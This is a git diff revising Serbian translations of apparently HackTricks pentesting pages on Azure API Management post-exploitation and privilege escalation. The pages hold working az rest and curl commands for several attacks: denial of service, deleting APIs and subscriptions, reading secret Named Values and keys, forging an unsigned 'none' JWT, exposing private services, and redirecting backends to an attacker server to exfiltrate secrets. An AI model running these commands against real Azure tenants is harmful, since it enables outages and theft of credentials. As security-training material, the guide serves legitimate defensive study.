diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index ddd38dd14..2ca7bc542 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -Napadač može iskoristiti više vektora da prouzrokuje denial of service. Da bi blokirao legitimni saobraćaj, napadač dodaje rate-limiting i quota politike sa ekstremno niskim vrednostima, čime se efektivno onemogućava normalan pristup: +Napadač može iskoristiti više vektora da izazove denial of service. Da bi blokirao legitimni saobraćaj, napadač dodaje rate-limiting i quota policies sa ekstremno niskim vrednostima, efektivno sprečavajući normalan pristup: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Da bi blokirao određene legitimne klijentske IP adrese, napadač može dodati politike filtriranja IP-a koje odbacuju zahteve sa odabranih adresa: +Da bi blokirao određene legitimne IP adrese klijenata, napadač može dodati politike filtriranja IP adresa koje odbijaju zahteve sa odabranih adresa: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -28,7 +28,7 @@ az rest --method PUT \ }' ``` ## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -Da bi prouzrokovao neuspeh zahteva, napadač može izmeniti konfiguraciju backend-a i promeniti njegov URL u nevažeću ili nedostupnu adresu: +Da bi zahtevi propadali, napadač može izmeniti konfiguraciju backenda i promeniti njegov URL u neispravnu ili nedostupnu adresu: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -47,14 +47,14 @@ az rest --method DELETE \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Da bi učinio kritične APIs nedostupnim, napadač ih može direktno izbrisati iz API Management service: +Da bi kritične API-je učinio nedostupnim, napadač ih može direktno izbrisati iz API Management service: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` -## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Da bi blokirao pristup sa Interneta, napadač može onemogućiti javni pristup mreži na API Management service: +## `Microsoft.ApiManagement/service/write` ili `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Da bi blokirao pristup sa Interneta, napadač može onemogućiti public network access na API Management service: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,7 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` -Da bi blokirao pristup legitimnim korisnicima, napadač može obrisati API Management subscriptions: +Da bi blokirao pristup legitimnim korisnicima, napadač može izbrisati pretplate u API Management-u: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index 95267c105..fc51e0068 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,26 +4,26 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -Napad se sastoji u pristupu osetljivim secrets koji su pohranjeni u Azure API Management Named Values — bilo direktnim preuzimanjem vrednosti secrets ili zloupotrebom dozvola kako bi se pribavili Key Vault–backed secrets putem managed identities. +Napad se sastoji u pristupu osetljivim tajnama pohranjenim u Azure API Management Named Values, bilo direktnim dohvaćanjem vrednosti tajni ili zloupotrebom dozvola za pribavljanje Key Vault–backed tajni pomoću managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Za svaku subscription napadač može dobiti subscription keys koristeći listSecrets endpoint pomoću POST metode: +Za svaku subscription, napadač može dobiti subscription keys koristeći listSecrets endpoint sa POST metodom: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -Odgovor sadrži subscription primary key (primaryKey) i secondary key (secondaryKey). Pomoću ovih ključeva attacker može da se autentifikuje i pristupi API-jevima objavljenim kroz API Management Gateway: +Odgovor uključuje primarni ključ pretplate (primaryKey) i sekundarni ključ (secondaryKey). Sa ovim ključevima, napadač može da se autentifikuje i pristupi API-jevima objavljenim preko API Management Gateway: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -Napadač može pristupiti svim API-jevima i proizvodima povezanim sa pretplatom. Ako pretplata ima pristup osetljivim proizvodima ili API-jevima, napadač može pribaviti poverljive informacije ili izvršiti neovlašćene operacije. +Napadač može pristupiti svim API-ima i proizvodima povezanim sa pretplatom. Ako pretplata ima pristup osetljivim proizvodima ili API-ima, napadač može pribaviti poverljive informacije ili izvršiti neovlašćene operacije. ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` -Napadač prvo preuzima trenutnu API politiku: +Napadač prvo preuzima trenutnu politiku API-ja: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" @@ -49,7 +49,7 @@ Napadač može izmeniti politiku na više načina u zavisnosti od svojih ciljeva ``` -Da ukloni rate limiting controls i omogući denial-of-service napade, napadač može ukloniti ili zakomentarisati quota i rate-limit policies: +Da bi uklonio kontrole rate-limiting-a i omogućio denial-of-service napade, napadač može ukloniti ili komentarisati quota i rate-limit politike: ```xml @@ -61,7 +61,7 @@ Da ukloni rate limiting controls i omogući denial-of-service napade, napadač m ... ``` -Da biste izmenili backend rutu i preusmerili saobraćaj na attacker-controlled server: +Da biste izmenili backend rutu i preusmerili saobraćaj na server pod kontrolom napadača: ```xml ... @@ -84,23 +84,23 @@ az rest --method PUT \ } }' ``` -## JWT: pogrešna konfiguracija validacije +## JWT Validation Misconfiguration -Napadač mora znati da API koristi validaciju JWT tokena i da je politika pogrešno konfigurisana. Loše konfigurisana politika validacije JWT može imati `require-signed-tokens="false"` ili `require-expiration-time="false"`, što omogućava servisu da prihvati nepotpisane tokene ili tokene koji nikada ne ističu. +Napadač treba da zna da API koristi JWT token validation i da je politika pogrešno konfigurisana. Loše konfigurisane JWT validation politike mogu imati `require-signed-tokens="false"` ili `require-expiration-time="false"`, što omogućava servisu da prihvati unsigned tokens ili tokens that never expire. -Napadač kreira zlonamerni JWT token koristeći none algoritam (nepotpisan): +Napadač kreira zlonamerni JWT token koristeći none algorithm (unsigned): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. ``` -Napadač šalje zahtev ka API-ju koristeći zlonamerni token: +Napadač šalje zahtev API-ju koristeći zlonamerni token: ```bash curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -Ako je politika pogrešno konfigurisana sa `require-signed-tokens="false"`, servis će prihvatiti nepotpisani token. Napadač takođe može kreirati token bez izjave o isteku ako je `require-expiration-time="false"`. +Ako je politika pogrešno konfigurisana sa `require-signed-tokens="false"`, servis će prihvatiti token bez potpisa. Napadač takođe može kreirati token bez claim-a o isteku ako je `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` Napadač prvo proverava trenutnu mrežnu konfiguraciju servisa: @@ -108,9 +108,9 @@ Napadač prvo proverava trenutnu mrežnu konfiguraciju servisa: az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` -Napadač pregledava JSON odgovor da bi proverio vrednosti `publicNetworkAccess` i `virtualNetworkType`. Ako je `publicNetworkAccess` postavljen na false ili je `virtualNetworkType` postavljen na Internal, servis je konfigurisan za privatni pristup. +Napadač pregleda JSON odgovor da bi proverio vrednosti `publicNetworkAccess` i `virtualNetworkType`. Ako je `publicNetworkAccess` postavljen na false ili je `virtualNetworkType` postavljen na Internal, servis je konfigurisan za privatni pristup. -Da bi izložio servis Internetu, napadač mora promeniti oba podešavanja. Ako servis radi u internom režimu (`virtualNetworkType: "Internal"`), napadač ga menja na None ili External i omogućava pristup javnoj mreži. Ovo se može uraditi korišćenjem Azure Management API: +Da bi izložio servis Internetu, napadač mora promeniti oba podešavanja. Ako servis radi u internom režimu (`virtualNetworkType: "Internal"`), napadač ga menja u None ili External i omogućava javni pristup mreži. Ovo se može uraditi korišćenjem Azure Management API-ja: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +122,20 @@ az rest --method PATCH \ } }' ``` -Kada je `virtualNetworkType` postavljen na `None` ili `External` i `publicNetworkAccess` je omogućen, servis i svi njegovi API-ji postaju dostupni sa Interneta, čak i ako su prethodno bili zaštićeni iza privatne mreže ili privatnih krajnjih tačaka. +Kada je `virtualNetworkType` postavljen na `None` ili `External` i `publicNetworkAccess` omogućen, servis i svi njegovi API-ji postaju dostupni sa Interneta, čak i ako su prethodno bili zaštićeni iza privatne mreže ili private endpoints. ## `Microsoft.ApiManagement/service/backends/write` -Napadač prvo enumeriše postojeće backende kako bi identifikovao koji treba izmeniti: +Napadač prvo izlistava postojeće backende da bi identifikovao koji treba izmeniti: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -Napadač preuzima trenutnu konfiguraciju backend-a koju želi da izmeni: +Napadač preuzima trenutnu konfiguraciju backenda koji želi da izmeni: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -Napadač menja backend URL tako da pokazuje na server pod njegovom kontrolom. Prvo dobiju ETag iz prethodnog odgovora, a zatim ažuriraju backend: +Napadač menja backend URL kako bi pokazivao na server pod svojom kontrolom. Prvo dobiju ETag iz prethodnog odgovora, a zatim ažuriraju backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -Alternativno, napadač može да конфигурише backend headers да exfiltrate Named Values који садрже тајне. Ово се ради кроз backend credentials configuration: +Alternativno, napadač može da konfiguriše backend headers da exfiltrate Named Values koji sadrže tajne. Ovo se radi kroz backend credentials configuration: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Sa ovom konfiguracijom, Named Values se šalju kao headers u svim zahtevima ka backendu koji kontroliše napadač, omogućavajući eksfiltraciju osetljivih tajni. +Uz ovu konfiguraciju, Named Values se šalju kao zaglavlja u svim zahtevima ka backendu koji kontroliše napadač, što omogućava eksfiltraciju osetljivih tajni. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index f02763cec..220ca326d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -4,41 +4,41 @@ ## Basic Information -Azure API Management (APIM) je potpuno upravljana usluga koja nudi **jedinstvenu platformu za objavljivanje, zaštitu, transformaciju, upravljanje i nadgledanje API-ja**. Omogućava organizacijama da **centralizuju svoju API** strategiju i obezbede dosledno upravljanje, performanse i bezbednost kroz sve svoje servise. Delovanjem kao sloj apstrakcije između backend servisa i potrošača API-ja, APIM pojednostavljuje integraciju i poboljšava održavanje dok pruža ključne operativne i bezbednosne mogućnosti. +Azure API Management (APIM) je potpuno upravljana usluga koja nudi **jedinstvenu platformu za objavljivanje, zaštitu, transformaciju, upravljanje i nadgledanje APIs**. Omogućava organizacijama da **centralizuju svoju API** strategiju i obezbede dosledno upravljanje, performanse i bezbednost za sve svoje servise. Delujući kao apstraktni sloj između backend servisa i potrošača API-ja, APIM pojednostavljuje integraciju i poboljšava održavanje, dok pruža ključne operativne i bezbednosne funkcionalnosti. ## Core Concepts -**The API Gateway** služi kao jedinstvena ulazna tačka za sav API saobraćaj, obavljajući funkcije kao što su rutiranje zahteva ka backend servisima, primena ograničenja brzine, keširanje odgovora i upravljanje autentifikacijom i autorizacijom. Ovaj gateway je potpuno hostovan i upravljan od strane Azure-a, obezbeđujući visoku dostupnost i skalabilnost. +**The API Gateway** služi kao jedinstvena ulazna tačka za sav API saobraćaj, obavljajući funkcije kao što su rutiranje zahteva ka backend servisima, primena ograničenja broja poziva, keširanje odgovora i upravljanje autentifikacijom i autorizacijom. Ovaj gateway je potpuno hostovan i upravljan od strane Azure-a, što obezbeđuje visoku dostupnost i skalabilnost. -**The Developer Portal** pruža samo-uslužno okruženje u kome potrošači API-ja mogu pronaći dostupne API-je, čitati dokumentaciju i testirati endpoint-e. Pomaže u ubrzavanju onboardinga nudeći interaktivne alate i pristup informacijama o pretplatama. +**The Developer Portal** pruža self-service okruženje gde potrošači API-ja mogu otkriti dostupne API-je, čitati dokumentaciju i testirati endpoint-e. Pomaže u ubrzanju onboardinga nudeći interaktivne alate i pristup informacijama o pretplatama. -**The Management Portal (Management Plane)** koriste administratori za konfiguraciju i održavanje APIM servisa. Odatle korisnici mogu definisati API-je i operacije, konfigurisati kontrolu pristupa, primenjivati politike, upravljati korisnicima i organizovati API-je u proizvode. Ovaj portal centralizuje administraciju i obezbeđuje dosledno upravljanje API-jem. +**The Management Portal (Management Plane)** koriste administratori za konfigurisanje i održavanje APIM servisa. Odatle korisnici mogu definisati API-je i operacije, konfigurisati kontrolu pristupa, primenjivati politike, upravljati korisnicima i organizovati API-je u proizvode. Ovaj portal centralizuje administraciju i obezbeđuje dosledno upravljanje API-jem. ## Authentication and Authorization -Azure API Management podržava nekoliko **mehanizama autentifikacije** za zaštitu pristupa API-ju. To uključuje **subscription keys**, **OAuth 2.0 tokens** i **client certificates**. APIM se takođe nativno integriše sa **Microsoft Entra ID**, omogućavajući upravljanje identitetima na nivou preduzeća i siguran pristup kako API-jima tako i backend servisima. +Azure API Management podržava više mehanizama autentifikacije za zaštitu pristupa API-ju. To uključuje **subscription keys**, **OAuth 2.0 tokens** i **client certificates**. APIM se takođe integriše nativno sa **Microsoft Entra ID**, omogućavajući enterprise-level upravljanje identitetom i siguran pristup kako API-jima tako i backend servisima. ## Policies -Policies u APIM omogućavaju administratorima da prilagode **obradu zahteva i odgovora** na različitim nivoima granularnosti, uključujući nivo **service**, **API**, **operation** ili **product**. Kroz politike moguće je primeniti **JWT token validation**, **transform XML or JSON payloads**, **apply rate limiting**, **restrict calls by IP address**, ili **authenticate against backend services using managed identities**. Politike su **izuzetno fleksibilne** i predstavljaju jednu od **ključnih snaga** platforme API Management, omogućavajući **preciznu kontrolu ponašanja u runtime-u** bez izmene backend koda. +Policies u APIM omogućavaju administratorima da prilagode **obradu zahteva i odgovora** na različitim granularnostima, uključujući nivo **service**, **API**, **operation**, ili **product**. Kroz policies moguće je primeniti **JWT token validation**, transformisati XML ili JSON payload-e, primeniti rate limiting, ograničiti pozive po IP adresi ili autentifikovati prema backend servisima koristeći managed identities. Policies su **veoma fleksibilne** i predstavljaju jednu od **ključnih prednosti** API Management platforme, omogućavajući **finu kontrolu izvršnog ponašanja** bez izmene backend koda. ## Named Values -Servis pruža mehanizam nazvan **Named Values**, koji omogućava čuvanje **konfiguracionih informacija** kao što su **secrets**, **API keys**, ili druge vrednosti potrebne politikama. +Servis pruža mehanizam nazvan **Named Values**, koji omogućava čuvanje **konfiguracionih informacija** kao što su **secrets**, **API keys**, ili druge vrednosti potrebne policies. -Ove vrednosti mogu biti sačuvane direktno u APIM-u ili bezbedno referencirane iz **Azure Key Vault**. Named Values promovišu **sigurno i centralizovano upravljanje** konfiguracionim podacima i pojednostavljuju pisanje politika omogućavajući **reusable references** umesto hardkodovanih vrednosti. +Ove vrednosti se mogu čuvati direktno unutar APIM-a ili bezbedno referencirati iz **Azure Key Vault**. Named Values podstiču **bezbedno i centralizovano upravljanje** konfiguracionim podacima i pojednostavljuju pisanje policies omogućavajući **ponovo upotrebljive reference** umesto hardkodiranih vrednosti. ## Networking and Security Integration -Azure API Management se besprekorno integriše sa **virtual network environments**, omogućavajući **privatnu i sigurnu povezanost** sa backend sistemima. +Azure API Management se besprekorno integriše sa **virtual network environments**, omogućavajući **privatnu i sigurnu konektivnost** do backend sistema. -Kada je deploy-ovan unutar **Virtual Network (VNet)**, APIM može pristupiti **internal services** bez izlaganja istih javno. Servis takođe omogućava konfiguraciju **custom certificates** za podršku **mutual TLS authentication** sa backend servisima, poboljšavajući bezbednost u scenarijima gde je potrebna **snažna validacija identiteta**. +Kada je deploy-ovan unutar **Virtual Network (VNet)**, APIM može pristupiti **internim servisima** bez njihove javne izloženosti. Servis takođe omogućava konfigurisanje **custom certificates** za podršku **mutual TLS authentication** sa backend servisima, poboljšavajući bezbednost u scenarijima gde je potrebna **stroga validacija identiteta**. -Ove **networking features** čine APIM pogodnim za oba slučaja — **cloud-native** i **hybrid architectures**. +Ove **mrežne funkcionalnosti** čine APIM pogodnim kako za **cloud-native**, tako i za **hybrid architectures**. -### Enumeracija +### Enumerate -Da biste enumerisali API Management servis: +Za enumeraciju APIM servisa: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name